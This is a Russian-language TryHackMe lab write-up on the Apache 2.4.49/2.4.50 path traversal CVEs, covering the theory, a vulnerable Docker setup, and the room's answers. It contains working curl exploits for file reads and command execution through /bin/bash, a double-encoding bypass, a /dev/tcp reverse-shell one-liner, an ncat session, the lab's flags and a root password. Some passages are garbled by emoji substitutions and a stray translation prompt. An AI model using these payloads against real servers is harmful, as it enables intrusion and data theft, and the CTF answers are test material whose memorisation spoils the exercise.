
CTF_WRITEUPS/TryHackMe /CVE-2021-41773/
CTF_WRITEUPS/TryHackMe /CVE-2021-41773/
Краткая история
5 октября 2021 года был опубликован CVE, описывающий атаку обхода путей на Apache HTTP Server v2.4.49. Ему был присвоен номер CVE-2021-41773, и он был выпущен со следующим описанием:
Была обнаружена ошибка в изменении, внесенном в нормализацию путей в Apache HTTP Server 2.4.49. Злоумышленник может использовать атаку обхода путей для сопоставления URL с файлами за пределами ожидаемого корневого каталога документов. Если файлы за пределами корневого каталога документов не защищены директивой "require all denied", такие запросы могут быть успешными. Кроме того, эта ошибка может раскрыть исходный код интерпретируемых файлов, таких как CGI-скрипты. Известно, что эта уязвимость эксплуатируется в реальных условиях. Эта проблема затрагивает только Apache 2.4.49, но не более ранние версии.
Давайте разберем это и посмотрим, что это на самом деле значит для нас:
Много исправлений спустя...
Apache исправил эту ошибку и выпустил v2.4.50. Конец истории, верно? Ну, не совсем. Всего через 2 дня, 7 октября, был выпущен новый CVE, ссылающийся на предыдущий. В нем говорится, что исправление предыдущей атаки обхода путей было неполным, и мы все еще могли совершать обход, если в рассматриваемом пути использовалась директива alias для сопоставления URL с файловой системой. Этому CVE был присвоен номер CVE-2021-42013, с описанием:
Было обнаружено, что исправление для CVE-2021-41773 в Apache HTTP Server 2.4.50 было недостаточным. Злоумышленник может использовать атаку обхода путей для сопоставления URL с файлами за пределами каталогов, настроенных директивами типа Alias. Если файлы за пределами этих каталогов не защищены обычной конфигурацией по умолчанию "require all denied", такие запросы могут быть успешными. Если для этих псевдонимов также включены CGI-скрипты, это может позволить удаленное выполнение кода. Эта проблема затрагивает только Apache 2.4.49 и Apache 2.4.50, но не более ранние версии.
Как и ранее, мы можем узнать несколько вещей:
Пока мы осмысливаем это безумие, в следующем задании рассмотрим необходимую конфигурацию.
Ответьте на вопросы ниже
Немного теории
Эксплойт обхода путей — это атака, направленная на доступ к ресурсам, которые обычно недоступны, путем злоупотребления ошибками в разрешении и/или нормализации путей. Обычно мы используем этот тип атаки, перемещаясь (также известный как обход) назад за пределы предполагаемого корня с помощью синтаксиса ...
Нормализация? Что это?
Обычно при указании пути для поиска файла кодом требуется абсолютный путь. Назовем его каноническим путем. Если вместо него задан относительный путь, он должен быть нормализован до канонической формы, чтобы библиотеки ОС, использующие этот путь, могли найти соответствующий ресурс. Это, конечно, упрощение, но суть остается.
В целом существуют платформенные библиотеки для выполнения этой нормализации, но в C/C++ мы обычно всё делаем сами. Хотя это может дать некоторую гибкость, это также может легко привести к ошибкам, если наша реализация не идеальна.
Нормализация URL
HTTP-сервер должен преобразовать URL в канонический путь в файловой системе, чтобы найти правильный файл для обслуживания. Хотя существуют некоторые фильтры, предотвращающие обход корневого каталога документов, некоторые случаи могут быть легко упущены. В данном случае эксплойт использует не только URL-кодирование (мы к этому еще вернемся), но и ошибку в нормализации путей модуля Alias (предположительно).
Отступление о URL-кодировании
Определено в RFC 3986, раздел 2, URL-кодирование — это схема, используемая для кодирования специальных или зарезервированных символов в URL. Например, пробелы в URL кодируются как символ + (в частности, в параметрах запроса). Если мы хотим закодировать фактический плюс, мы должны закодировать его с помощью так называемого "процентного кодирования". Это просто включает добавление шестнадцатеричного кода символа US-ASCII с префиксом %. В нашем примере символ + может быть закодирован как %2B.
Любой символ может быть URL-закодирован, и URL, которые полностью закодированы, функционально эквивалентны незакодированной версии. Из RFC: Если два URI отличаются только регистром шестнадцатеричных цифр, используемых в процентно-закодированных октетах, они эквивалентны.
Итак, что произошло с Apache?
Недавнее изменение в модуле нормализации путей в сервере Apache позволило специально созданному URL обойти фильтры и выйти за пределы корневого каталога документов, что позволяет произвольное чтение файлов в системе, если конфигурация это допускает. Более того, если модуль CGI включен, возможно и произвольное выполнение файлов!
Ответьте на вопросы ниже
A) Включает произвольные удаленные файлы для обработки на сервере. B) Включает произвольные локальные файлы для обработки на сервере. C) Позволяет серверу раскрыть произвольные файлы. D) Ничего из вышеперечисленного.
Взлом Apache ради забавы
Итак, теория окончена, давайте перейдем к эксплуатации этой ошибки. Во-первых, нам нужна уязвимая версия Apache. К счастью, у нас есть Docker для этого :)```
user@machine$ docker pull httpd:2.4.49
2.4.49: Pulling from library/httpd
07aded7c29c6: Already exists
05bb40c8f148: Already exists
0827b74117da: Already exists
35a526fdcc7d: Pull complete
59fed288cd32: Pull complete
Digest: sha256:dcba0d12e2362fb0c50ec524ae8aa1cca4a4ba7216617a57e7bbca20767e79cc
Status: Downloaded newer image for httpd:2.4.49
docker.io/library/httpd:2.4.49
**Конфигурация**
Для работы этой эксплойты нам нужно настроить Apache, чтобы разрешить доступ к файлам за пределами корневого каталога документа. Мы можем быть точными и указать конкретную директорию, или пойти по пути YOLO и дать доступ ко всему. Для наших целей подойдет вариант со всем. Для начала давайте запустим наш контейнер и покопаемся в конфигурации. Обратите внимание, что эти изменения работают для обеих уязвимых версий Apache.```
user@machine$ docker run --name vuln-httpd -p 8080:80 -d httpd:2.4.49
a4dfc0376d93dc62183982a527b0bef62543e7a91178116bb0480a42ecc0c8dd
user@machine$ docker cp vuln-httpd:/usr/local/apache2/conf/httpd.conf .
user@machine$ grep -C4 -n "Require all denied" httpd.conf
246-# <Directory> blocks below.
247-#
248-<Directory />
249- AllowOverride none
250: Require all denied
251-</Directory>
252-
253-#
254-# Note that from this point forward you must specifically allow
--
303-# The following lines prevent .htaccess and .htpasswd files from being
304-# viewed by Web clients.
305-#
306-<Files ".ht*">
307: Require all denied
308-</Files>
309-
310-#
311-# ErrorLog: The location of the error log file.
user@machine$ sed "250s/denied/granted/" httpd.conf > httpd.new.conf
user@machine$ docker cp http.new.conf vuln-httpd:/usr/local/apache2/conf/httpd.conf
user@machine docker container restart vuln-httpd
vuln-httpd
Кстати, вы всегда можете изменить конфигурацию вручную. Мы хотим изменить часть, которая гласит:``` AllowOverride none Require all denied
И замените 'denied' на 'granted'. Это предоставит Apache доступ ко всей файловой системе (что, безусловно, НЕ является хорошей идеей, так что никогда не делайте этого в production).
**Конфигурация для этой сочной RCE**
Простое изменение контроля доступа приведет к раскрытию данных, но не к RCE. Чтобы получить RCE в нашем маленьком PoC, нам просто нужно активировать модуль CGI в дополнение к разрешениям доступа. Это заставит модуль CGI выполнять скрипт при его вызове, а не просто отображать его содержимое. Чтобы включить CGI, нам просто нужно раскомментировать конфигурацию LoadModule. Предполагая, что у нас все еще есть контейнер, который мы модифицировали ранее, мы можем сделать следующее:```
user@machine$ docker cp vuln-httpd:/usr/local/apache2/conf/httpd.conf .
user@machine$ grep -C4 -n "mod_cgi" httpd.conf
180-#LoadModule asis_module modules/mod_asis.so
181-#LoadModule info_module modules/mod_info.so
182-#LoadModule suexec_module modules/mod_suexec.so
183-<IfModule !mpm_prefork_module>
184: #LoadModule cgid_module modules/mod_cgid.so
185-</IfModule>
186-<IfModule mpm_prefork_module>
187: #LoadModule cgi_module modules/mod_cgi.so
188-</IfModule>
189-#LoadModule dav_fs_module modules/mod_dav_fs.so
190-#LoadModule dav_lock_module modules/mod_dav_lock.so
191-#LoadModule vhost_alias_module modules/mod_vhost_alias.so
--
385-
386-<IfModule cgid_module>
387- #
388- # ScriptSock: On threaded servers, designate the path to the UNIX
389: # socket used to communicate with the CGI daemon of mod_cgid.
390- #
391- #Scriptsock cgisock
392-</IfModule>
393-
user@machine$ sed "184,187s/#//" httpd.conf > httpd.new.conf
user@machine$ docker cp http.new.conf vuln-httpd:/usr/local/apache2/conf/httpd.conf
user@machine docker container restart vuln-httpd
vuln-httpd
Вы, разумеется, можете использовать любой доступный текстовый редактор для изменения файлов. Метод с grep/sed работает из оболочки внутри контейнера, так как текстовые редакторы там отсутствуют.
Перейдём уже к эксплуатации!
Теперь, когда мы настроили наш контейнер, можно наконец приступить к эксплуатации этой CVE. Метод довольно прост и заключается в URL-кодировании одного из символов . в каждом сегменте пути при обходе. Также нам нужно обходить, начиная с пути, заданного через алиас. К счастью, из конфигурации мы знаем, что путь cgi-bin по умолчанию является алиасом, так что давайте использовать его! Эксплойт немного отличается для версий 2.4.49 и 2.4.50, хотя последний работает и с первой.
Apache 2.4.49 без включённого CGI
Без включённого CGI мы можем только читать файлы. Используя curl, мы просто обращаемся к нужным файлам, URL-кодируя один из символов . в каждом сегменте пути.```
user@machine$ curl -v 'http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd'
GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1 Host: localhost:8080 User-Agent: curl/7.74.0 Accept: /
**Apache 2.4.49 с включенным CGI**
CGI усложнит ситуацию, так как модуль попытается выполнить полученный файл. Для простых текстовых файлов, таких как /etc/passwd, это может быть проблематично :). Для выполнения кода мы можем просто вызвать `sh` или `bash` с командой в теле запроса. Обратите внимание, что заголовок ответа Content-Type также должен быть отправлен, чтобы клиент знал, как отобразить результаты.```
user@machine$ curl -v 'http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash' -d 'echo Content-Type: text/plain; echo; cat /etc/passwd' -H "Content-Type: text/plain"
* Trying 127.0.0.1:8080...
* Connected to localhost (127.0.0.1) port 8080 (#1)
> POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash HTTP/1.1
> Host: localhost:8080
> User-Agent: curl/7.74.0
> Accept: */*
> Content-Type: text/plain
> Content-Length: 52
>
* upload completely sent off: 52 out of 52 bytes
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Mon, 11 Oct 2021 12:22:34 GMT
< Server: Apache/2.4.49 (Unix)
< Transfer-Encoding: chunked
< Content-Type: text/plain
<
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
* Connection #1 to host localhost left intact
Apache 2.4.50
Этот конкретный пример был исправлен в версии 2.4.50. Однако исправление было неполным и не учло двойное кодирование URL. В этом случае мы можем использовать ту же структуру, что и в предыдущей версии, со следующим путём:``` user@machine$ curl 'http://localhost:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd' root❌0:0:root:/root:/bin/bash daemon❌1:1:daemon:/usr/sbin:/usr/sbin/nologin bin❌2:2:bin:/bin:/usr/sbin/nologin sys❌3:3:sys:/dev:/usr/sbin/nologin sync❌4:65534:sync:/bin:/bin/sync games❌5:60:games:/usr/games:/usr/sbin/nologin man❌6:12👨/var/cache/man:/usr/sbin/nologin lp❌7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail❌8:8:mail:/var/mail:/usr/sbin/nologin news❌9:9:news:/var/spool/news:/usr/sbin/nologin uucp❌10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy❌13:13:proxy:/bin:/usr/sbin/nologin www-data❌33:33:www-data:/var/www:/usr/sbin/nologin backup❌34:34:backup:/var/backups:/usr/sbin/nologin list❌38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc❌39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats❌41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody❌65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt❌100:65534::/nonexistent:/usr/sbin/nologin
Если присмотреться, мы видим, что URL декодируется из `%%32%65` в `%2e.` Это обходит фильтр и позволяет нам перемещаться за пределы корневого каталога веб-сервера.
**Ответьте на вопросы ниже**
1. **Какой модуль должен быть включен для получения удаленного выполнения кода?**
- **mod_cgi**
---
### Задание 4: Практический экзамен
Конфигурация довольно кропотливая, поэтому я всё сделал за вас! В виртуальной машине, прикрепленной к этому заданию (пожалуйста, подождите до 4 минут для полного запуска подписной ВМ и 7 минут для бесплатной ВМ), настроены 4 уязвимых сервера Apache следующим образом:
Apache 2.4.49 без CGI: `http://MACHINE_IP:8080`
Apache 2.4.49 с CGI: `http://MACHINE_IP:8081`
Apache 2.4.50 без CGI: `http://MACHINE_IP:8082`
Apache 2.4.50 с CGI: `http://MACHINE_IP:8083`
На каждом сервере есть флаг в корневом каталоге с именем `flag.txt`. Ваша задача — найти их все.
В качестве дополнительной цели попробуйте получить настоящую оболочку на одном из серверов с включенным CGI. На сервере на порту 8083 также скрыт root-флаг.
***Ответьте на вопросы ниже***
1. **Какой флаг на порту 8080?**
- ***THM{724V3R51N6_P4TH5_F02_FUN}***```
$ curl -v http://10.10.107.169:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/flag.txt
- Trying 10.10.107.169:8080...
- TCP_NODELAY set
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0\* Connected to 10.10.107.169 (10.10.107.169) port 8080 (#0)
> GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/flag.txt HTTP/1.1
> Host: 10.10.107.169:8080
> User-Agent: curl/7.67.0
> Accept: _/_
- Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Wed, 10 Nov 2021 08:57:26 GMT
< Server: Apache/2.4.49 (Unix)
< Last-Modified: Mon, 11 Oct 2021 09:16:12 GMT
< ETag: "1d-5ce102e25be36"
< Accept-Ranges: bytes
< Content-Length: 29
< Content-Type: text/plain
<
{ [29 bytes data]
100 29 100 29 0 0 29 0 0:00:01 --:--:-- 0:00:01 29THM{724V3R51N6_P4TH5_F02_FUN}
- Connection #0 to host 10.10.107.169 left intact
THM{2C3_F20M_C61}``` $ curl -v 'http://10.10.107.169:8081/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash' -d 'echo Content-Type: text/plain; echo; cat /flag.txt' -H "Content-Type: text/plain"
Trying 10.10.107.169:8081...
TCP_NODELAY set % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0* Connected to 10.10.107.169 (10.10.107.169) port 8081 (#0)
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash HTTP/1.1 Host: 10.10.107.169:8081 User-Agent: curl/7.67.0 Accept: / Content-Type: text/plain Content-Length: 50
} [50 bytes data]
upload completely sent off: 50 out of 50 bytes
Mark bundle as not supporting multiuse < HTTP/1.1 200 OK < Date: Wed, 10 Nov 2021 09:01:11 GMT < Server: Apache/2.4.49 (Unix) < Transfer-Encoding: chunked < Content-Type: text/plain < { [23 bytes data] 100 67 0 17 100 50 18 54 --:--:-- --:--:-- --:--:-- 74THM{2C3_F20M_C61}
Connection #0 to host 10.10.107.169 left intact
3. **Какой флаг на порту 8082?**
- ***THM{D0UBL3_3NC0D1N6_F7W}***```
$ curl 'http://10.10.37.52:8082/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/flag.txt'
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 24 100 24 0 0 23 0 0:00:01 0:00:01 --:--:-- 23THM{D0UBL3_3NC0D1N6_F7W}
5. **Мне удалось получить оболочку! (Я не могу это проверить, так что поверю вам на слово :))**
***Ответ не требуется***
6. **От имени какого пользователя работает сервер Apache?**
- ***daemon***
7. **Найдите root-флаг на машине на порту 8083?**
- ***THM{P21V_35C_F20M_4P4CH3_15_FUN}***```
$ curl -v 'http://10.10.37.52:8083/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash' -d 'echo; bash -i >& /dev/tcp/10.17.31.150/4242 0>&1'
- Trying 10.10.37.52:8083...
- TCP_NODELAY set
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0\* Connected to 10.10.37.52 (10.10.37.52) port 8083 (#0)
> POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash HTTP/1.1
> Host: 10.10.37.52:8083
> User-Agent: curl/7.67.0
> Accept: _/_
> Content-Length: 48
> Content-Type: application/x-www-form-urlencoded
>
> } [48 bytes data]
- upload completely sent off: 48 out of 48 bytes
- Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Fri, 12 Nov 2021 16:20:43 GMT
< Server: Apache/2.4.50 (Unix)
< Transfer-Encoding: chunked
<
100 48 0 0 0 48 0 0 --:--:-- 0:01:05 --:--:-- 0{ [0 bytes data]
- transfer closed with outstanding read data remaining
100 48 0 0 0 48 0 0 --:--:-- 0:01:05 --:--:-- 0
- Closing connection 0
curl: (18) transfer closed with outstanding read data remaining
Переведите следующий контент инструмента Kitploit.``` $ ncat -lvp 4242 Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Listening on :::4242 Ncat: Listening on 0.0.0.0:4242 Ncat: Connection from 10.10.37.52. Ncat: Connection from 10.10.37.52:35836. bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell daemon@18c7613b3859:/bin$ cd /root cd /root bash: cd: /root: Permission denied daemon@18c7613b3859:/bin$ su root su root Password: ApacheCVE
cd /root
ls root.txt cat root.txt THM{P21V_35C_F20M_4P4CH3_15_FUN}